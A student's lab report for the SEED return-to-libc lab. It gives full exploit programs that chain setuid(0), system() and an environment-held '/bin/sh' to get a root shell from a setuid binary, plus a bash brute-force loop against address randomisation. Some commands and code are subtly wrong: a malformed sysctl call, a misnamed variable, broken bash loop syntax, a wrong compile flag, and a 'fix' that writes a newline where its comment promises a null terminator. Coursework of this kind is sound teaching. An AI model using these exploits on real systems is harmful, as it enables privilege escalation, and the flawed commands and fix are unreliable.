Year and Semester	2018 FALL
Course Number	CS-336
Course Title	Intro. to Information Assurance
Work Number	LA-02
Work Name	Return to Libc attack
Work Version	Version 1
Long Date	Sunday, 4 November 2018
Author(s) Name(s)	Zane Durkin

Abstract

In this article I will be explaining in detail the Tasks I preformed during the SEED security lab2.

0 Setting up Lab Environment

The goal of this lab is to learn an interesting variant of buffer-overflow attack. This attack, known as return-to-libc attack does not require exploit code to be located on the stack. It instead uses a program built into the libc library called system() [1].

0.1 Address Space Randomization

Several linux based systems use address randomization to change the starting address of the heap and stack to make guessing exact addresses difficult. This is a useful security mechanism since address guessing is a critical step in buffer overflow attacks. For this lab I need to disable address space randomization with the following command[1].

```
sudo -w kernel.randomize_va_space=0
```

This command will remove the randomization of the starting address for the heap and stack. This makes it much easier to figure out the address I need to use for my exploit, since it will be the same address every time I run my code.

0.2 The StackGuard Protection Scheme

Stackguard is another security mechanism built into gcc that helps to prevent buffer overflows. This protection will also need to be disabled for this lab by compiling program usign the -fno-stack-protector switch in gcc as shown[1]:

```
gcc -fno-stack-protector example.c
```

0.3 Non-Executable stack

Linux systems no longer allow execution of code located on the stack by default. However the system will only enforce this protection if the binary program declares the stack to be non-executable (which is the default behavior in newer systems). To state that we want to execute from the stack I will use the following command when compiling programs[1]:

```
gcc -z execstack -o test test.c
```

Since this lab does not require exploit code to be placed on the stack, I won't need to enable executable stack. So I will be using the following command to prevent executing code on the stack[1]:

```
gcc -z noexecstack -o test test.c
```

1 The Vulnerable program

The vulnerable program imports 40 bytes from a file called "badfile" into a 12 byte buffer called "buffer". Since fread does not check to see if it is past a boundary on the buffer, it will continue writing bytes from badfile onto the stack, this is a buffer overflow attack. The program will be set to run as root when executed (even if the person executing is not root). This can be a problem if a normal user is able to get a root shell from the program, since it will be given root privileges. This can be done using a buffer overflow, which the retlib.c program is vulnerable to[1]. Here is the vulnerable program that is susceptible to a buffer overflow attack, with some added comments for explanation:

```c
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
// include standard libraries (These will hold the system calls I'll use in the exploit)
// These libraries are also needed to read in the badfile
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// This is the vulnerable function
int bof(FILE *badfile)
{
    // This is the buffer that will be overflown.
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    // fread will read in 40 bytes at a time (set by 3rd parameter) which is much larger than the
        12 byte buffer set above.
    // This means the overflow is emanate
    fread(buffer, sizeof(char), 40, badfile);
    // return with a clean exit
    return 0;
}
int main(int argc, char **argv) {
    // This is the pointer to the badfile
    FILE *badfile;
    // The badfile will require read access at minimum.
    badfile = fopen("badfile", "r");
    // here is where bof is being called, with the badfile as a parameter
    bof(badfile);
    // if this line returns, then the exploit failed, It should exit in the bof function if done
        correctly.
    printf("Returned Properly\n");
    fclose(badfile);
    return 0;
}
```

To compile this program, I will need to remove stackguard so that the buffer overflow can be exploited. I can do this with the following command:

```
sudo gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
```

[1]
This command created a new file called retlib, which is owned by root. Now to make this file execute as root for any user that runs the program. This will allow the program to run with root privileges, and thus will be able to return root shell if the exploit works correctly. To set the file to execute as root, I will use the following command:

```
sudo chmod 4755 retlib
```

[1]

1.1 Exploiting the vulnerability

To exploit this vulnerability, I need to create a file "badfile" that will be read by the vulnerable program on runtime. When this badfile is read into the vulnerable program it will execute a buffer overflow and spawn a root shell. I am given exploit code that looks as follows:

```
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char ** argv)
{
    char buf[40];
    FILE * badfile;
    badfile = fopen("./badfile", "w");
    /* You need to decide the addresses and
       the values for X, Y, Z. The order of the following
         three statements does not imply the order of X, Y, Z.
         Actually, we intentionally scrambled the order.*/
    * (long *) &buf[X] = some address ;   //  "/bin/sh"
    * (long *) &buf[Y] = some address ;   //  system()
    * (long *) &buf[Z] = some address ;   //  exit()
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

[1]
The given exploit code gives some unkowns, these are the location of X, Y, Z in the array buf, and the addresse that each should point to. I will need to determine where in the buf array I need to place X, Y, and Z along with what address each of those should receive. The goal is to have this program generate "badfile" for the vulnerable program to read. I need the vulnerable program to read the command system("/bin/sh") in order for it to return a root shell. The exploit code also lists a location for the exit() command, which is not necessarily needed, but will prevent the program from crashing after I return from the system call[1]. When I am ready to compile my exploit code, I will run the following command:

```
gcc -o exploit exploit.c
```

This will compile the code to make it executable. Now to generate the "badfile" I need to run the command:

```
./exploit
```

This will execute my exploit code, creating the badfile. And finally, To run the

attack, I need to execute the retlib.c program with the command:

```
./retlib
```

If This command returns a root shell, then I have done the exploit correctly. If it returns normally, or otherwise crashes, Then I have a bug in my exploit code. To decide the values of X, Y, Z in my exploit code, I will need to determine the location of the system() and exit() commands in the libc libraries, along with the location of the environment variable that will hold the string "/bin/sh" To determine the location of the system and exit commands I can use gdb. Since these commands are loaded into memory before my program. To determine where these libraries are located, and the address of the individual system calls, I can run the program in gdb

```
gdb retlib
```

Now that I am in gdb, I can set a breakpoint at main (optional) and then run the program to bring it into memory. With a break point set, gdb will pause execution once it hits that breakpoint[1].

```
gdb-peda$ break main
gdb-peda$ run
```

Now that gdb is pause at the start of the main function, I can use the p command in gdb to retrieve the address that the system and exit commands are located in memory[1]:

```
gdb-peda$ p system
$1 = {<text variable, no debug info>}  0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ q
```

This gives me the location in memory that the system and exit command are stored. Using these locations I can update a few lines in my exploit.c program as follows:

```
*(long *) &buf[Y] = 0xb7e42da0 ; // system()
*(long *) &buf[Z] = 0xb7e369d0 ; // exit()
```

So that I have the location of the system call in memory, I need to find a place to set the parameters. The parameters will be the program I want to run in the system

call. This will be my shell program "/bin/sh". I'm going to set the string "/bin/sh" to an environment variable which will be available to all programs without having to store in on the stack. To access this variable, I need to find it's location in memory when a program is running. There is another system command called getenv that will return the address to the environment variable in memory, which is exactly what I'm looking for. Since the environment variable's location can vary for every file and will be adjusted by even the file name or location on the system, I can expect to need to adjust this location[1]. In my exploit file I decided the best way to get the location would be to start with where the variable is in memory when running my exploit code (to use as a base location), and then adjust the location from there before writing it to my badfile. After making these changes, my exploit code looks like this:

```
/* exploit.c */
// These are the standard libraries that are needed to open the badfile for writing.
// They also allow the use fo the getenv command which is used to get the location of the ↩
    environment variable
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// main is the only function I'll need, everything can be made within it.
int main(int argc, char *argv[]){
/* since retlib has a shorter file name than exploit, we can add 2 to the location of the ↩
    variable by default */
long environment_adjust = 2; // adjust environment variable location
int arr_size = 12;  //size of target buffer (should be raised to multiple of 4)

// determine the location of the return address of the bof function
int ret_addr = arr_size +12; // array size + padding to reach return location

//------------------------------------------------------------------
// Done with Variables
//------------------------------------------------------------------

// see if a parameter was passed into the program
if(argc > 1){
    // use parameter to adjust environment variable location on the fly
    environment_adjust = atol(argv[1]);
}
// size of local buffer
int buf_size = 40;
char buf[buf_size];

// open a connection to the badefile for writing
FILE *badfile;
Badfile = fopen("./badfile", "w");

/* clear the buffer to make it easier to read in hexdump */
memset(&buf, 0x00, buf_size); //optional

/* get location of environment variable MYSHELL */
char* shell = (char *)getenv("MYSHELL");
if(shell){
    // if it's found, output the location
    //printf("%x\n", (unsigned int)shell);
}else{
```

```
        // if it's not set, throw an error and exit.
        printf("No $MYSHELL environment variable set\n");
        exit(1);
    }

    // The system command will replace the return value in the stack.
    // This will make the bof function jump to the system command rather than returning to the ↩
        main function
    *(long *) &buf[ret_addr] = 0xb7e42da0 ; //system()

    // The next value to place, right after the return location, is the exit command.
    // It's placed right after the return location, because when the system command above is ↩
        finished, the stack pointer will expect to run the next command in line.
    // Since exit() will be the next command on the stack, it will be ran directly after the ↩
        system command returns.
    // The exit() command is used to give the program a clean exit rather than throwing an error
    *(long *) &buf[ret_addr + 4] = 0xb7e369d0 ; //exit()

    // The location of the enviornment variable is set right after the exit() command, because ↩
        this is where the system
    // command will look for it's parameter.
    // The system command, if ran in a stack frame that was setup correctly, would expect to find↩
         it's parameter on the stack just before the return address (ebp + 8)
    // Since the system command is ran in this same stack, it will look for it's parameter 8 ↩
        bytes up on the stack, which is where this will set the location to the shell
    // The location of the variable could change when in another program, so the location is set ↩
        with an adjustment
    *(long *) &buf[ret_addr + 8] = (unsigned int)shell+environment_adjust; // "/bin/sh"

    // after the buffer is setup, Write the file and exit
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

In my exploit code I found the return address by taking the size of the target array and then adding 12 bytes. The 12 bytes added to the end is the length of the return address , previous base pointer address, and a buffer that is set by gcc, each being a size of 4 bytes. Now that I have the return address, I can set the location of the system call. It is important to remember that when the system call is executed, it will be executed with a jump command rather than the normal call command. The difference is that call will build a new stack frame for the function, while jump will execute it with the current stack frame. The system call, when executed, will expect the pointer to the string to execute to be located at ebp + 8 (the location that would normally be the first parameter). And since system is being executed in the current stack frame (which has been edited from my overflow attack) I can set ebp + 8 to be the location of the environment variable with my /bin/sh string. It is important to note that when the system call is made, it will set ebp to point to the return address of the bof function. This means the ebp + 8 location will be the same memory location as the return address of my bof function plus 8 bytes. And when the system command returns from executing the /bin/sh program, it will continue in the retlib program at the next command on the stack. Currently that location will be filled with gibberish since I overwrote it with my overflow

attack. But to make this program exit cleanly I set the location after the system call (return address plu 4 bytes) to the address of the exit system call. This made it so when my program finished executing my system command, it would return and then call the exit command, which prevented the program from creating any errors or showing that there had been an attack[1].
Since my /bin/sh program currently points to the /bin/dash shell, won't be able to execute the shell program with the userid of root without calling the setuid system command. Luckily this command is a system command, so I can call it just as I did the system and exit commands. I created a copy of the exploit.c program and named it exploit2.c. This program will hold my changes to call the setuid program before the system command.

```
/* exploit2.c */

// These are the standard libraries that are needed to open the badfile for writing.
// They also allow the use fo the getenv command which is used to get the location of the ↩
    environment variable
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// main is the only function I'll need, everything can be made within it.
int main(int argc, char *argv[]){
/* since retlib has a shorter file name than exploit, we can add 2 to the location of the ↩
    variable by default */
long environment_adjust = 2; // adjust environment variable location
int arr_size = 12;  //size of target buffer (should be raised to multiple of 4)

// determine the location of the return address of the bof function
int ret_addr = arr_size +12; // array size + padding to reach return location

//------------------------------------------------------------------
// Done with Variables
//------------------------------------------------------------------

// see if a parameter was passed into the program
if(argc > 1){
    // use parameter to adjust environment variable location on the fly
    environment_adjust = atol(argv[1]);
}
// size of local buffer
int buf_size = 40;
char buf[buf_size];

// open a connection to the badefile for writing
FILE *badfile;
Badfile = fopen("./badfile", "w");

/* clear the buffer to make it easier to read in hexdump */
memset(&buf, 0x00, buf_size); //optional

/* get location of environment variable MYSHELL */
char* shell = (char *)getenv("MYSHELL");
if(shell){
    // if it's found, output the location
    //printf("%x\n", (unsigned int)shell);
}else{
    // if it's not set, throw an error and exit.
```

```
    printf("No $MYSHELL environment variable set\n");
    exit(1);
}

    // In this version of the exploit, the setuid system command will need to be called before ↩
        the system call
    // This will set the user id before executing the shell, effectively bypassing the mitigation↩
        set in dash
    *(long *) &buf[ret_addr] = 0xb7eb9170 ; //setuid()

    // Since setuid will expect to return and run the next command on the stack after it has ↩
        finished running,
    // the system command is placed directly below the setuid command on the stack
    *(long *) &buf[ret_addr + 4] = 0xb7e42da0 ; //system()

    // Setuid, if ran in a stack that was setup correctly, could expect to find the userid as the↩
        first parameter in the stack frame
    // for a new stack frame, the parameters would start below the previous base pointer and ↩
        return address.
    // so the setuid would look up 8 bytes from what it think's is it's stack base to find the ↩
        first parameter
    // However, since the setuid command was jumped to, not called, it will be running the ↩
        current stack frame.
    // So to allow it to read in a 0 for the userid, I need to set the value 8 bytes below the ↩
        calll of the setuid function.
    *(long *) &buf[ret_addr + 8] = 0x00 ; // uid = 0

    // Similar to the setuid function, the system call will look for it's first parameter 8 bytes↩
        up from when it was called, which is 4 bytes after the return address.
    // so the location of the environment variable would appropriately fit 12 bytes above the ↩
        return address.
    *(long *) &buf[ret_addr + 12] = (unsigned int)shell+environment_adjust; // "/bin/sh"

    // the exit command was not used in this program since it would need to be placed directly ↩
        after the system call,
    // however, since the parameter for the setuid function expects it's first parameter directly↩
        after the system call,
    // there isn't a place to put the exit command before the parameters need to be called.

    // after the buffer is setup, Write the file and exit
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

To call the setuid function I first found the location of the setuid function in gdb, and then set the return address in my exploit to be the setuid function. This means I had to push my system, environment variable, and exit calls down 4 bytes in the buffer. Setuid requires a parameter of the user id that it would set to be the uid. Like the system command, it also gets this location from the base pointer plus 8. Luckily since all of my previous commands had been pushed down 4 bytes, this didn't effect my system and environment locations. However, This created a slight problem for the exit command. The exit command was placed right after the system call, which means which they were all pushed down to make room for the setuid command, the exit command was now at the return address plus 8. And Since the return address plus 8 is the same memory location as the base pointer plus 8, it meant that my setuid command need the uid to be placed in the same location that the exit command was located. Since the exit command was optional, I set

the location it was at to hold the value 0. Which allowed the program to execute a root shell, but meant it would exit with a segmentation fault rather than a clean exit.

2 Address Randomization

Now that I have a working exploit, I can turn address randomization back on and attempt the attack again. This might be a bit harder since the address of the environment variable will change every time the program is run. To turn randomization back on I can run the following command:

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

[1] Now with randomization back on, I'll have to attempt the attack until the address of the environment variable. To overcome this I can use the same brute force attack that was shown in the last lab. This attack will attempt to execute the attack until it happens to hit the correct address. This is what the brute force code looks like[1]:

```
#!/bin/bash
## brtatk.sh

# The maximum offset of the environment variable to test
max_offset=100

# this will hold the number of seconds that have passed since the start of the program
SECONDS=0
# this will hold the number of times the program has ran
value=0

# offset is tested in a sweep from the negative most offset, to the positive most offset.
# and then it is repeated. So to start I'll set it to the most negative offset.
offset=$(( 0 - $max_offset))

# the loop will go forever, it will need to be canceled by hand to quite
while[1]
  do
    # say the program has ran again
  value=$(( $value + 1))
    # determine how long the program has been running
  duration=$SECONDS
    # determine how many minutes have passed
  min=$(($duration /60))
    # determine how many seconds over the last minute have passed
  sec=$(($duration % 60))
    # increment to the next offset to test, incremented in 2's since the bytes will always be ↩
        even
    offset=$(($offset + 2))
    # see if the offset has reached the maximum yet
  if [ $offset -gt $max_offset]
```

```
    then
        # loop the offset back to negative if the highest offset has already been reached
    offset=$(( 0 - $max_offset))
  fi

    # output the time that has passed since the program has started
  echo "$min minutes and $sec seconds elapsed."
  echo "the program has been running $value times so far."
    # say which offset is being tested this time
  echo "Offset is $offset."
    # rebuild the badfile with the given Offset
  ./exploit $offset
    # test the vulnerable program
  ./retlib
done
```

Notice that I can supply my exploit code an argument to adjust the location of the environment variable. I expected to need to change the location of the environment variable, so I built my exploit with the option to have a parameter passed to it. This parameter is expected to be a numeric offset to use for the environment variable. I took advantage of my optional parameter in my brute force code to attempt to find the address of the environment variable. This After turning address randomization back on, I can see in gdb that the address of the system commands has changed along with the address of the environment variable.

```
gdb
gdb-peda$ b main
gdb-peda$ r
gdb-peda$ p system
$1 = {<text variable, no debug info>}  0xb75ebda0 <__libc_system>
```

This means that I don't just have to guess the address of the environment variable, but the system commands along with it. I didn't expect the system commands to change location, so I didn't set them to be changed through a parameter in my exploit program. This doesn't mean the brute for won't work, however, since there is a chance of the system commands being in the correct location. I decided after trying my adjusted brute force attack, that my chance of hitting the correct address locations for all of the system commands and environment variables would be better if I didn't attempt to guess the environment variable offset at the same time. I left my brute force code running for 25 minutes before I canceled the attack. Although my program never returned a shell in the time I waited, it should still return if I had given it more time. Since the address is random, It could take a long time for this to happen. This mitigation is helpful in slowing hackers down, but it won't prevent their attacks entirely.

3 StackGuard

The next mitigation to attempt to overcome is the stack guard protection, I will also turn address randomization back off before trying to overcome this mitigation (This is done in the same way it was shown in the lab setup). I will need to re-compile my retlib program to enable stackguard, which can done as follow[1]:

```
sudo gcc -z noexecstack -p retlib retlib.c
sudo chmod 4755 retlib
```

Now that I have stackguard enabled, retlib returns a new error when attempting to execute the retlib program.

```
*** stack smashing detected ***: ./retlib terminated
Aborted
```

This shows that the attack couldn't bypass stack guard's protection. Stack guard places canaries around the return address (along with other place in the stack). These canaries must be overwritten in a buffer overflow attack, and stack guard runs a check to validate these canaries before allow the leave or return commands to execute. This makes it very hard to bypass this mitigation. I was not able to bypass this mitigation, but it could be possible to bypass if you are able to guess the values of the canaries and overwrite them with the same value while doing the buffer overflow. This would convince stack guard that the stack has not been effected, and will allow the return command to execute.

4 Fixing the vulnerability

To fix the vulnerabilities in the retlib code, I need to change the fread function to use the appropriate size for the given buffer. Currently the fread is told to read in one character at a time, 40 times. This means after the function has ended, it will have tried to copy 40 bytes into the buffer (which is only 12 bytes long). This means that the fread function is being told to overflow the buffer. To fix this issue, I will change the function's parameter from 40, to 11 bytes, and then add a null value to the end of the string (since fread does not do this by default). After these adjustments, the relib.c program will look like this:

```c
/* retlib.c (fixed)*/
// include standard libraries (These will hold the system calls I'll use in the exploit)
// These libraries are also needed to read in the badfile
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// This was the vulnerable function
int bof(FILE *badfile)
{
    // This is the buffer that will be overflown.
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    // fread will now only read up to one less than the length of the buffer
    fread(buffer, sizeof(char), 11, badfile);
    // to ensure that the buffer ends with a null byte, I will explicitly add one as the last ↩
        character
    buffer[11]='\n';
    // return with a clean exit
    return 0;
}
int main(int argc, char **argv) {
    // This is the pointer to the badfile
    FILE *badfile;
    // The badfile will require read access at minimum.
    badfile = fopen("badfile", "r");
    // here is where bof is being called, with the badfile as a parameter
    bof(badfile);
    // if this line returns, then the exploit failed.
    printf("Returned Properly\n");
    fclose(badfile);
    return 0;
}
```

References

[1] Wenliang Du, S. U. Return-to-libc attack lab, 2014.